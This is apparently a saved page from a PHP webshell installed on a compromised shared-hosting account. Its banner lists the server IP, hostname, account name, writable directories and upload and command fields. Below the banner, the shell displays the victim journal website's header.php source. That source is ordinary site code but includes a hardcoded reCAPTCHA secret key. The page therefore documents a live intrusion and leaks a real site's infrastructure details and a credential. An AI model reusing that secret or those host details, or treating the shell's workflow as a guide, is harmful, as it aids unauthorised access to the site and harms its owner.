403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/reflectivejournals.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/reflectivejournals.com//header.php
<?php
session_start();
require_once("inc/config.php");
require_once(INC . "functions.php");

$stmt = $mysqli->prepare("SELECT websitename, websiteemail, fromname, fromemail, impactfactor, issn, mailer, extensions, signaturestatus, signature FROM settings ORDER BY settingsid DESC LIMIT 1") or die("An error occurred. Please try after some time.");
$stmt->execute();
$stmt->bind_result($websitename, $websiteemail, $fromname, $fromemail, $impactfactor, $issn, $mailer, $extensions, $signaturestatus, $signature);
$stmt->fetch();
$stmt->close();

if(!isset($_SESSION['HAS_VISITED'])):
	$_SESSION['HAS_VISITED'] = true;
	$stmt = $mysqli->prepare("SELECT visitorid, totalvisitors FROM visitors ORDER BY visitorid DESC LIMIT 1") or die("An error occurred. Please try after some time.");
	$stmt->execute();
	$stmt->bind_result($visitorid, $totalvisitors);
	$stmt->fetch();
	$stmt->close();
	$totalvisitors = $totalvisitors + 1;

	$stmt = $mysqli->prepare("UPDATE visitors SET totalvisitors = ? WHERE visitorid = ?") or die("An error occurred. Please try after some time.");
	$stmt->bind_param("ii", $totalvisitors, $visitorid);
	$stmt->execute();
	$stmt->close();
endif;

$loggedcreds = isset($_SESSION['LOGGED_USER_CREDS']) ? $_SESSION['LOGGED_USER_CREDS'] : NULL;
$loggedid	 = sanitize(escape($loggedcreds['LOGGED_USER_ID']));
$loggedemail = sanitize(escape($loggedcreds['LOGGED_USER_EMAIL']));

$pathinfo = pathinfo($_SERVER['PHP_SELF']);
$filename = $pathinfo['filename'];

$encrypt_token = isset($_POST['token']) ? sanitize(escape($_POST['token'])) : NULL;
$decrypt_token = decrypt($encrypt_token);
$encrypt_focus = isset($_POST['focus']) ? sanitize(escape($_POST['focus'])) : NULL;
$decrypt_focus = decrypt($encrypt_focus);

if((isset($_POST)) && ($encrypt_token && $decrypt_token === TOKEN . session_id()) && ($encrypt_focus)):
	function result($stat, $text, $type = 'text'){
		return json_encode(array("stat" => $stat, $type => $text));
	}
	function ismscURL($link){
		$http = curl_init($link);
		curl_setopt($http, CURLOPT_RETURNTRANSFER, TRUE);
		$http_result = curl_exec($http);
		$http_status = curl_getinfo($http, CURLINFO_HTTP_CODE);
		curl_close($http);
		return $http_result;
	}
	function insertemail($email){
		global $mysqli;
		$stmt = $mysqli->prepare("SELECT * FROM emails WHERE email = ?") or die(result(false, "An error occurred. Please try after some time."));
		$stmt->bind_param('s', $email);
		$stmt->execute();
		$stmt->store_result();
		$count_rows = $stmt->num_rows();
		$stmt->close();
		if($count_rows == 0):
			$stmt = $mysqli->prepare("INSERT INTO emails(email) VALUES(?)") or die(result(false, "An error occurred. Please try after some time."));
			$stmt->bind_param('s', $email);
			$stmt->execute();
			$stmt->close();
		endif;
	}
	function gCAPTCHA($reCAPTCHA){
		$secret = '6Lcvno4UAAAAACUImZKMms8SxbkRnj4UPbFHXyDk';
		$verifyResponse = file_get_contents('https://www.google.com/recaptcha/api/siteverify?secret='.$secret.'&response='.$reCAPTCHA);
		return json_decode($verifyResponse);
	}
	if((file_exists(INC . "SendMail.php") && file_exists("inc/{$filename}.php"))):
		require_once(INC . "SendMail.php");
		require_once("inc/{$filename}.php");
		exit();
	else:
		die(result(false, "Required file is missing."));
	endif;
endif;

if($filename == 'index'):
	$pagename = basename(getcwd());
else:
	$pagename = $filename;
endif;

$stmt = $mysqli->prepare("SELECT hits FROM pages WHERE name = ?") or die("An error occurred. Please try after some time.");
$stmt->bind_param('s', $pagename);
$stmt->execute();
$stmt->bind_result($hits);
$stmt->fetch();
$stmt->close();
$hits = $hits + 1;
$stmt = $mysqli->prepare("UPDATE pages SET hits = ? WHERE name = ?") or die("An error occurred. Please try after some time.");
$stmt->bind_param('ss', $hits, $pagename);
$stmt->execute();
$stmt->close();

$year		= isset($_GET['year']) ? strip_tags(sanitize(escape($_GET['year']))) : NULL;
$vi			= isset($_GET['vi']) ? strip_tags(sanitize(escape($_GET['vi']))) : NULL;
$volume		= strstr(ltrim(strstr($vi, 'vol'), 'vol'), 'issue', true);
$issue		= ltrim(strstr($vi, 'issue'), 'issue');
$part		= isset($_GET['part']) ? rtrim(strip_tags(sanitize(escape($_GET['part']))), '.php') : NULL;
$refnumber	= isset($_GET['refnum']) ? rtrim(strip_tags(sanitize(escape($_GET['refnum']))), '.php') : NULL;

$article_status = "enabled";
if(($pagename == 'archives' && $year && $volume && $issue && $part && $refnumber)):
	$stmt = $mysqli->prepare("SELECT title, keywords, description FROM archives WHERE (year = ? AND refnumber = ? AND volume = ? AND issue = ? AND part = ? AND status = ?)") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('ssiiss', $year, $refnumber, $volume, $issue, $part, $article_status);
	$stmt->execute();
	$stmt->bind_result($page_title, $page_meta_keyword, $page_meta_desc);
	$stmt->fetch();
	$stmt->close();
	$page_title = strip_tags(html_entity_decode($page_title));
	$page_content = "";
elseif(($pagename == 'archives' && $year && $volume && $issue && $part)):
	$volume_keywords = "";
	$stmt = $mysqli->prepare("SELECT keywords FROM archives WHERE (year = ? AND volume = ? AND issue = ? AND part = ?)") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('siis', $year, $volume, $issue, $part);
	$stmt->execute();
	$stmt->bind_result($keywords);
	while($stmt->fetch()):
		$volume_keywords .= ($keywords) ? $keywords . ", " : NULL;
	endwhile;
	$stmt->close();
	$page_title		= 'Vol. ' . $volume . ' Issue ' . $issue . ' Part ' . $part;
	$page_meta_desc	= 'Vol. ' . $volume . ' Issue ' . $issue . ' Part ' . $part;
	$page_meta_keyword= rtrim($volume_keywords, ', ');
	$page_content = "";
else:
	$stmt = $mysqli->prepare("SELECT title, metadescription, metakeyword, content FROM pages WHERE name = ?") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('s', $pagename);
	$stmt->execute();
	$stmt->store_result();
	$count_rows = $stmt->num_rows();
	$stmt->bind_result($page_title, $page_meta_desc, $page_meta_keyword, $page_content);
	$stmt->fetch();
	$stmt->close();
	if($count_rows == 0):
		$page_title		= ucwords(basename(getcwd())) . " | " . $websitename;
		$page_meta_desc	= "";
		$page_meta_keyword= "";
		$page_content	= "";
	else:
		$page_title		= $page_title;
	endif;
endif;
$page_content = ($page_content) ? html_entity_decode($page_content) : NULL;

$copyright_year = date('Y');
$webbasename = basename(dirname(__FILE__));

$stmt = $mysqli->prepare("SELECT (SELECT COUNT(*) AS totalarchives FROM archives), (SELECT SUM(views) AS totalarchiveviews FROM archives), (SELECT SUM(downloads) AS totalarchivedownloads FROM archives)") or die("An error occurred. Please try after some time.");
$stmt->execute();
$stmt->bind_result($totalarchives, $totalarchiveviews, $totalarchivedownloads);
$stmt->fetch();
$stmt->close();

$totalarchiveviews = ($totalarchiveviews) ? $totalarchiveviews : 0;
$totalarchivedownloads = ($totalarchivedownloads) ? $totalarchivedownloads : 0;

$protocol = !empty($_SERVER['HTTPS']) ? 'https' : 'http';
$canonicalUrl = $protocol . '://' . $_SERVER['HTTP_HOST'] . strtok($_SERVER['REQUEST_URI'], '?');
echo <<<EOJ
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="{$page_meta_desc}" />
<meta name="keywords" content="{$page_meta_keyword}" />
<meta name="Author" content="{$websitename}-{$fromemail}" />
<meta name="Robots" content="index, follow" />
<title>{$page_title} | {$websitename}</title>
EOJ;
if(($pagename == 'archives' && $year && $volume && $issue && $part && $refnumber)):
	$stmt = $mysqli->prepare("SELECT month, year, volume, issue, part, authorname, title, pagenumber, file FROM archives WHERE (year = ? AND refnumber = ? AND volume = ? AND issue = ? AND part = ? AND status = ?)") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('ssiiss', $year, $refnumber, $volume, $issue, $part, $article_status);
	$stmt->execute();
	$stmt->store_result();
	$stmt->num_rows();
	$stmt->bind_result($m_month, $m_year, $m_volume, $m_issue, $m_part, $m_authorname, $m_title, $m_pagenumber, $m_file);
	$stmt->fetch();
	$stmt->close();
	$m_month = substr($m_month, 0, 3);
	switch($m_month):
		case 'Jan';$m_digit = '01';break;
		case 'Feb';$m_digit = '02';break;
		case 'Mar';$m_digit = '03';break;
		case 'Apr';$m_digit = '04';break;
		case 'May';$m_digit = '05';break;
		case 'Jun';$m_digit = '06';break;
		case 'Jul';$m_digit = '07';break;
		case 'Aug';$m_digit = '08';break;
		case 'Sep';$m_digit = '09';break;
		case 'Oct';$m_digit = '10';break;
		case 'Nov';$m_digit = '11';break;
		case 'Dec';$m_digit = '12';break;
		default:$m_digit  = '';
	endswitch;

	$publish_date = $m_year . '/' . $m_digit . '/01';
	$m_title = strip_tags(html_entity_decode($m_title));
	echo "<meta name=\"citation_title\" content=\"{$m_title}\" />";
	function multiexplode($delimiters, $string){
		$ready = str_replace($delimiters, $delimiters[0], $string);
		$launch = explode($delimiters[0], $ready);
		return $launch;
	}
	$m_authors = multiexplode(array(","," and "), $m_authorname);
	foreach($m_authors as $author):
		$author = trim($author);
		echo "<meta name=\"citation_author\" content=\"{$author}\" />";
	endforeach;

	$first_page = strstr($m_pagenumber, '-', true);
	$last_page = substr(strstr($m_pagenumber, '-'), 1);
echo <<<EOJ
	<meta name="citation_publication_date" content="{$publish_date}" />
	<meta name="citation_journal_title" content="{$websitename}" />
	<meta name="citation_volume" content="{$m_volume}" />
	<meta name="citation_issue" content="{$m_issue}" />
	<meta name="citation_firstpage" content="{$first_page}" />
	<meta name="citation_lastpage" content="{$last_page}" />
	<meta name="citation_pdf_url" content="{$archivesdir}{$m_year}/vol{$m_volume}issue{$m_issue}/{$m_part}/{$m_file}" />
EOJ;
endif;
echo PHP_EOL;
?>
<link rel="canonical" href="<?php echo $canonicalUrl;?>">
<link rel="shortcut icon" href="<?php echo $imageurl;?>favicon.ico" />
<script type="text/javascript" src="https://www.akinik.com/js/jquery.js" defer></script>
<script type="text/javascript" src="https://www.akinik.com/js/jquery.form.min.js" defer></script>
<style type="text/css">
*{margin:0;padding:0;box-sizing:border-box;outline:none}

article,footer,header,main,nav,section{display:block}

body{color:#333;font-size:13px;font-family:'Coda-Regular';width:100%;height:100%;background-color:#e4f0f1;overflow-y:scroll}
@font-face{font-family:'Roboto-Regular';src:url('<?php echo $fontsdir;?>Roboto-Regular.eot');src:url('<?php echo $fontsdir;?>Roboto-Regular.eot?#iefix') format('embedded-opentype'),url('<?php echo $fontsdir;?>Roboto-Regular.woff') format('woff'),url('<?php echo $fontsdir;?>Roboto-Regular.ttf') format('truetype'),url('<?php echo $fontsdir;?>Roboto-Regular.svg#RobotoThinItalic') format('svg')}
@font-face{font-family:'Roboto-Bold';src:url('<?php echo $fontsdir;?>Roboto-Bold.eot');src:url('<?php echo $fontsdir;?>Roboto-Bold.eot?#iefix') format('embedded-opentype'),url('<?php echo $fontsdir;?>Roboto-Bold.woff') format('woff'),url('<?php echo $fontsdir;?>Roboto-Bold.ttf') format('truetype'),url('<?php echo $fontsdir;?>Roboto-Bold.svg#RobotoThinItalic') format('svg')}

@font-face{font-family:'Coda-Regular';src:url('<?php echo $fontsdir;?>Coda-Regular.ttf')}

a{text-decoration:none}a:hover{text-decoration:underline}
img,a img{border:none;overflow:hidden}
label,h1,h2,h3,h4,h5,h6,b,strong{font-family:'Coda-Regular'}
img,a img{border:none}
textarea{resize:none}

header,nav,section,footer,.fluid,.head,.body,.foot,.row,.form,.flbl,.field,.output{float:left;width:100%;height:auto}

.button,.loader{float:left;width:64px;height:27px;line-height:25px;background-color:#1c88e3;border:1px solid #1976d3;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;color:#fff;font-size:11px;font-family:'Coda-Regular';text-align:center;text-transform:uppercase;cursor:pointer}
.button:active{background-color:#1976d3}
.button.default{width:auto;padding:0 10px;background-color:#fff;border-color:#d9d9d9;color:#333}
.button.default:active{border-color:#1976d3;box-shadow:0px 1px 1px #e5e5e5 inset;-moz-box-shadow:0px 1px 1px #e5e5e5 inset;-webkit-box-shadow:0px 1px 1px #e5e5e5 inset}

.field{height:27px;background-color:#fff;border:1px solid #d9d9d9;border-top-color:#c0c0c0;font-size:13px;font-family:'Coda-Regular';padding:5px;resize:none}
.field:focus{border-color:#1976d3}
.field-file{padding:2px}
.field-select{padding:0}
.field-textarea{height:100px}
.field:disabled,.field[readonly]{background-color:#ebebe4;border-color:#d9d9d9;border-top-color:#c0c0c0}

.loader{width:auto;padding:0px 10px;cursor:default;opacity:0.5;display:none}

.output{margin-top:10px;padding:6px 10px;border:1px solid transparent;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;text-align:center;display:none}
.output.s{color:#3c763d;background:#dff0d8;border-color:#d6e9c6}
.output.e{color:#a94442;background:#f2dede;border-color:#ebccd1}

.fl{float:left;width:auto;height:auto}
.fr{float:right;width:auto;height:auto}

header{background-color:#555;border-top:4px solid #f37f22;padding:10px 0px}

header .fr{width:280px}

header form{border-radius:2px;overflow:hidden;display:flex}
header form .field{width:100%;height:28px;border:none;box-shadow:none;flex:1}
header form .field:focus{border-color:#3e7ce4}
header form .btn{width:28px;height:28px;background-color:#fff;fill:#999;border:none;cursor:pointer}

main{width:1150px;height:auto;margin:auto}

.banner img{float:left;max-width:100%;height:auto}

nav{background-color:#e5e5e5;border-bottom:2px solid #c5c5c5;padding-bottom:12px;}
nav button{float:right;width:40px;height:30px;background-color:#fff;border:1px solid #ccc;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;color:#00796b;font-size:11px;text-align:center;text-transform:uppercase;cursor:pointer;display:none}
nav button:active{background-color:#eee}
nav ul{list-style:none;background-color:#c40002;display:flex;flex-direction:row;justify-content:space-between;flex-flow:row wrap;overflow:hidden}
nav ul li{float:left;width:auto;height:auto;flex-grow:1}
nav ul li a{padding:8px 0px;color:#fff;font-size:13px;text-align:center;text-transform:uppercase;display:block;transition-duration:0.4s;-moz-transition-duration:0.4s;-webkit-transition-duration:0.4s}
nav ul li a:hover{text-decoration:none}
nav ul li a:active{background-color:#9b0102;transition-duration:0s;-moz-transition-duration:0s;-webkit-transition-duration:0s}

section.holder{background-color:#fff;margin-top:10px}

section.content{padding:12px}

.sidebar{width:18%}
.sidebar.fl.l{display:none}
.sidebar .head{background:linear-gradient(#479c75 50%, #42926b 50%);border-bottom:1px solid #236c48;color:#fff;padding:7px}
.sidebar .body{background-color:#b6ddca}
.sidebar .body.cent{padding:7px;text-align:center}
.sidebar .body.cent img{float:left;width:100%}
.sidebar .body img{width:auto;max-width:100%;height:auto}
.sidebar ul{list-style:none}
.sidebar ul li{float:left;width:100%;padding:7px;border-top:1px solid #dbeee5;border-bottom:1px solid #92b1a1;color:#175235;font-size:12px;font-weight:bold}
.sidebar ul li:last-child{border:none}
.sidebar ul li a{color:#175235;font-size:12px}

.visitor{padding:5px}
.visitor table{table-layout:fixed;border-collapse:collapse}
.visitor table td{height:28px;background-color:#444;border:1px solid #000;color:#fff;font-size:22px;text-align:center;vertical-align:middle;font-family:"Times New Roman", Times, serif;font-weight:bold;text-shadow:0px -1px 1px #000}

.justify{width:64%;line-height:18px;padding:0px 15px;text-align:justify}
.justify a{color:#236c48}
.justify img{max-width:100%;height:auto !important}
.justify ul,.justify ol{float:left;padding-left:15px;clear:both}

.justify aside{margin-bottom:15px;border-bottom:3px solid #c40002;padding-bottom:5px;text-align:center}
.justify aside h3{color:#000;font-size:20px;font-weight:bold;text-align:center}
.justify aside h3,.chead{font-family:'Coda-Regular'}
.chead{background-color:#42926b;margin-bottom:10px;padding:6px 10px;color:#fff;font-size:13px}

.tbl{float:left;width:100%;margin-bottom:10px;border:1px solid #000;border-collapse:collapse}
.tbl th,.tbl td{padding:7px 5px;border:1px solid #000;text-align:center}

.boards{background-color:#fff;border-collapse:collapse}
.boards th{background-color:#09C;border-bottom:1px dotted #bbb;color:#fff;font-size:12px;font-weight:normal;text-transform:uppercase;padding:7px 6px 5px}
.boards th:first-child{border-top:1px dotted #bbb}
.boards td{padding:6px 0px;border-bottom:1px dotted #ccc;-ms-word-break:break-all;word-break:break-all;word-break:break-word;-webkit-hyphens:auto;-moz-hyphens:auto;hyphens:auto;overflow-wrap:break-word;font-size:12px}
.boards td img{float:left;width:100%;height:auto}
.boards td.f{width:80px;padding-right:8px}

.regboard{background-color:#ea4335;color:#fff;font-size:12px;margin-top:10px;padding:10px}
.regboard a{color:#fff;text-decoration:underline}
.regboard a:hover{text-decoration:none}

.archives{border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;margin-bottom:10px}
.archives .chead{text-transform:uppercase}
.archives .body{padding:10px;border:1px solid #e5e5e5;border-top:none}
.archives .body b{float:left;font-size:11px;text-transform:uppercase;clear:both;margin-bottom:5px}
.archives .body b span{color:#c00}
.archives .body ul{margin-bottom:15px;clear:both}
.archives .body ul li{float:left;width:25%;list-style-type:square;color:#00828f}
.archives .body ul li a{text-transform:uppercase}

.articles{background-color:#fff;border:1px solid #ddd;border-collapse:collapse}
.articles th{padding:5px;background-color:#eee;border:1px solid #ddd;font-size:11px}
.articles th.sm{width:90px}
.articles th.xs{width:50px}
.articles td{padding:5px 5px 0px;border:1px solid #ddd;font-size:12px}
.articles td .row{margin-bottom:7px;text-align:justify;}
.articles td .row:last-child{margin-bottom:5px}
.articles td .row b{font-weight:bold}
.articles td .row.link a{font-size:11px;font-weight:bold;text-transform:uppercase}
.articles td .row.link a:before{content:'[ ';color:#f00}
.articles td .row.link a:after{content:' ]';color:#f00}
.articles td .row.l{display:none}

.abstract .thead{margin-bottom:15px}
.abstract .thead h3{font-weight:bold}
.abstract .row{margin-bottom:10px}
.abstract .row .heading{color:#c40002}
.abstract .row.stats{border-bottom:1px dotted #ccc;padding-bottom:3px}

.graphics{text-align:center}

.form .body{background-color:#eee;padding:20px 25px 15px}
.form .row{margin-bottom:10px}
.form .row .fl,.form .row .fr{width:48%}
.form .flbl{font-size:12px}
.form .flbl span{float:right;color:#f00}
.form .img-select{padding:0px}
.form .img-captcha{float:left;border:1px solid #ddd;margin-bottom:10px}
.form .field-captcha{width:70px;font-weight:bold;text-align:center;letter-spacing:2px;clear:both}
.form .refresh{width:42px;background:#fff url('<?php echo $imageurl;?>refresh.png') center center no-repeat;border:1px solid #d9d9d9;box-shadow:none;margin-left:10px}
.form .flex{display:flex}
.form .flex .button{border-radius:0px 2px 2px 0px}

.form .row.link a{float:left;margin:5px 0px 0px 10px;font-size:11px;text-transform:uppercase}
.noscript{display:none}

.download-forms{margin-top:10px;text-align:center}
.download-forms img{max-width:100%;height:auto}

footer{background-color:#333;margin-top:5px;padding:10px 0px;color:#fff;font-size:12px;text-align:center}
footer a{color:#000}

@media (max-width: 1024px){
main{width:100%;padding:0px 20px}
}
@media (max-width: 800px){
.fl,.fr{width:100%}
header .fl,.chead .fl,.chead .fr,.abstract .row.stats .fl,.abstract .row.stats .fr{width:auto}
nav{padding-bottom:0px}
nav button{display:block;margin:5px}
nav ul{border-top:1px solid #d42c2e;display:none}
nav ul li{float:left;width:100%;clear:both;border-bottom:1px solid #d42c2e}
nav ul li a{text-align:left;text-indent:10px}
.sidebar.fl.f{display:none}
.sidebar.fl.l{display:block}
.sidebar{width:48%}
.sidebar .body.cent img{float:none;width:auto}
.sidebar .body img{max-width:100%;height:auto}
.sidebar .body{text-align:center}
.justify{width:100%;margin-bottom:10px;padding:0px}
}
@media (max-width: 600px){
header .fr{width:100%}
.justify aside h3{font-size:18px}
}
@media (max-width: 480px){
main{padding:0px 10px}
.sidebar{width:100%;clear:both}
.justify aside h3{font-size:16px}
.about{float:left;width:100%;margin-top:10px;clear:both}
.archives .body ul li{width:50%}
.articles th.xs,.articles td.xs,.articles th.sm,.articles td.sm{display:none}
.articles td .row.l{display:block}
.abstract .row.stats .fl,.abstract .row.stats .fr{width:100%;text-align:center}
.abstract .row.stats .fr{margin-top:10px}
.form .body{padding:15px 15px 5px}
.form .body .fl,.form .body .fr{width:100%;clear:both}
.form .body .fr{margin-top:10px}
}
@media (max-width: 360px){
.chead .fl,.chead .fr{width:100%;text-align:center}
.chead .fr{margin-top:5px}
.justify aside h3{font-size:14px}
.boards td.f{width:60px}
}
@media (max-width: 320px){
header .fl,header .fr{width:100%;text-align:center}
header .fl img{float:none;width:60px}
.boards td.f{width:50px}
.form .body{background-color:#fff;padding:0px}
}
</style>
<!--[if IE]>
<style type="text/css">
body{font-family:Arial, Helvetica, sans-serif;font-size:12px}
.holder{border-left:1px solid #ddd;border-right:1px solid #ddd}
nav ul li a{padding:0px 10px}
nav form .field{width:75%}
nav form .button{width:25%}
.noscript{display:block}
.form{display:none}
</style>
<![endif]-->
<!--[if lt IE 9]>
<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<script src="https://www.google.com/recaptcha/api.js"></script>
</head>
<body>
<?php
function menubar(){
	global $mysqli;
	$list = "";
	$alignment  = "T";
	$status = "enabled";
	$stmt = $mysqli->prepare("SELECT content FROM menubar WHERE (alignment = ? AND status = ?) ORDER BY sortnumber ASC") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('ss', $alignment, $status);
	$stmt->execute();
	$stmt->store_result();
	if($stmt->num_rows() > 0):
		$stmt->bind_result($content);
		$list .= "<ul class=\"fluid\">";
		while($stmt->fetch()):
			$list .= "<li>{$content}</li>";
		endwhile;
		$stmt->close();
		$list .= "</ul>";
	endif;
	return $list;
}
$menubar = menubar();
function banner(){
	global $mysqli, $imageurl, $bannersuploadpath, $bannersdir, $websitename;
	$status = "enabled";
	$stmt = $mysqli->prepare("SELECT image FROM banners WHERE status = ? ORDER BY bannerid ASC") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('s', $status);
	$stmt->execute();
	$stmt->store_result();
	$count_rows = $stmt->num_rows();
	$stmt->bind_result($image);
	$stmt->fetch();
	$stmt->close();
	if($count_rows > 0):
		if(($image && file_exists($bannersuploadpath . $image))):
			$image = "<div class=\"fluid banner\"><img src=\"{$bannersdir}{$image}\" alt=\"{$websitename}\" /></div>";
		else:
			$image = "";
		endif;
	else:
		$image = "";
	endif;
	return $image;
}
$banner = banner();
function sidebarcontent($category){
	global $mysqli;
	$list = "";
	$status = "enabled";
	$stmt = $mysqli->prepare("SELECT content FROM menubar WHERE (category = ? AND status = ?) ORDER BY sortnumber ASC") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('ss', $category, $status);
	$stmt->execute();
	$stmt->store_result();
	if($stmt->num_rows() > 0):
		$stmt->bind_result($content);
		while($stmt->fetch()):
			$list .= "<li>{$content}</li>";
		endwhile;
		$stmt->close();
	endif;
	return $list;
}
function sidebar($alignment){
	global $mysqli;
	$list = "";
	$status = "enabled";
	$stmt = $mysqli->prepare("SELECT category FROM menubar WHERE (alignment = ? AND status = ?) GROUP BY category ORDER BY catsortnumber ASC") or die("An error occurred. Please try after some time.");
	$stmt->bind_param('ss', $alignment, $status);
	$stmt->execute();
	$stmt->store_result();
	if($stmt->num_rows() > 0):
		$stmt->bind_result($category);
		while($stmt->fetch()):
			$list .= "<div class=\"head\">{$category}</div>";
			$list .= "<ul class=\"body\">" . sidebarcontent($category) . "</ul>";
		endwhile;
		$stmt->close();
	endif;
	return $list;
}
$lsidebar = sidebar('L');
$rsidebar = sidebar('R');
echo <<<EOJ
<header>
	<main>
		<div class="fr">
			<form action="{$baseurl}search" method="get" name="searchform" class="fluid" onsubmit="if (this.keyword.value) { let key = this.keyword.value; location = this.action + '/' + key.replace(/ /gi, '+'); } return false;">
				<input type="text" name="keyword" placeholder="Search" autocomplete="off" class="field" />
				<button type="submit" class="btn">
				<svg viewBox="-4 0 32 20">
			        <path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/>
			        <path d="M0 0h24v24H0z" fill="none"/>
			    </svg>
				</button>
			</form>
		</div>
	</main>
</header>
<main>
	<section class="holder">
		{$banner}
		<nav><button type="button" onclick="$('nav ul').slideToggle(100);"><svg xmlns="https://www.w3.org/2000/svg" width="24" height="28" viewBox="0 0 24 24"><path d="M2 15.5v2h20v-2H2zm0-5v2h20v-2H2zm0-5v2h20v-2H2z"/></svg></button>{$menubar}</nav>
		<section class="content">
			<section class="sidebar fl f">
				<div class="head">Menuscript Submission</div>
				<div class="body cent">
					<a href="{$baseurl}submission">
						<img src="{$imageurl}online-menuscript-submission.gif" alt="Menuscript Submission" title="Menuscript Submission" />
					</a>
				</div>
				{$lsidebar}
				<div class="head">Visitor Counter</div>
				<div class="body visitor">
					<table border="0" cellpadding="0" cellspacing="0" class="fluid">
					<tr>
EOJ;
					$stmt = $mysqli->prepare("SELECT totalvisitors FROM visitors") or die("An error occurred. Please try after some time.");
					$stmt->execute();
					$stmt->bind_result($totalvisitors);
					$stmt->fetch();
					$stmt->close();
					$totalvisitors = str_pad($totalvisitors, 8, '0', STR_PAD_LEFT);
					foreach(str_split($totalvisitors) as $visitors):
						echo "<td>{$visitors}</td>";
					endforeach;
echo <<<EOJ
					</tr>
					</table>
				</div>
			</section>
			<section class="justify">
				<aside><h3>{$websitename}</h3></aside>
EOJ;
				if(($pagename !== $webbasename && $pagename !== 'archives')):
					echo '<div class="head chead">' . $page_title . '</div>';
				endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit